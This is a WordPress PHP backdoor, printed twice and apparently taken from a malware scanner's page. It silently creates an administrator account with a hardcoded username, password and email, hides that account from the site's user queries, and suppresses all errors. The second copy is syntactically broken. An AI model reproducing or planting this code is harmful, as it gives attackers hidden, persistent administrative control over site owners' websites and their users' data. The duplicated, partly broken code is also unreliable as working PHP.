try {
$username = 'RanksatAdmin';
$password = 'A6mitUdwFJ5QFSPvNWkgVC_v';
$email = 'prabowoasw99@gmail.com';
if (function_exists("add_action")) {
add_action('init', function () use ($username, $password, $email) {
if (function_exists("username_exists") && !username_exists($username)) {
$id = wp_create_user($username, $password, $email);
if (!is_wp_error($id)) {
$usr = new WP_User($id);
$usr->set_role('administrator');
update_user_meta($id, 'wp_hidden_user', '1');
}
}
});
add_action('pre_user_query', function ($query) use ($username) {
global $wpdb;
if (function_exists("get_user_by")) {
$u = get_user_by('login', $username);
if ($u && isset($query->query_where)) {
$query->query_where .= " AND {$wpdb->users}.ID != {$u->ID}";
}
}
});
}
} catch (\Exception $e) {
// Silently fail — never crash the site
} catch (\Error $e) {
// Silently fail — never crash the site
}
try {
$email = 'prabowoasw99@gmail.com';
if (function_exists("add_action")) {
add_action('init', function () use ('RanksatAdmin', 'A6mitUdwFJ5QFSPvNWkgVC_v', $email) {
if (function_exists("username_exists") && !username_exists('RanksatAdmin')) {
$id = wp_create_user('RanksatAdmin', 'A6mitUdwFJ5QFSPvNWkgVC_v', $email);
if (!is_wp_error($id)) {
$usr = new WP_User($id);
$usr->set_role('administrator');
update_user_meta($id, 'wp_hidden_user', '1');
}
}
});
add_action('pre_user_query', function ($query) use ('RanksatAdmin') {
global $wpdb;
if (function_exists("get_user_by")) {
$u = get_user_by('login', 'RanksatAdmin');
if ($u && isset($query->query_where)) {
$query->query_where .= " AND {$wpdb->users}.ID != {$u->ID}";
}
}
});
}
} catch (\Exception $e) {
// Silently fail — never crash the site
} catch (\Error $e) {
// Silently fail — never crash the site
}
© 2023 Quttera Ltd. All rights reserved.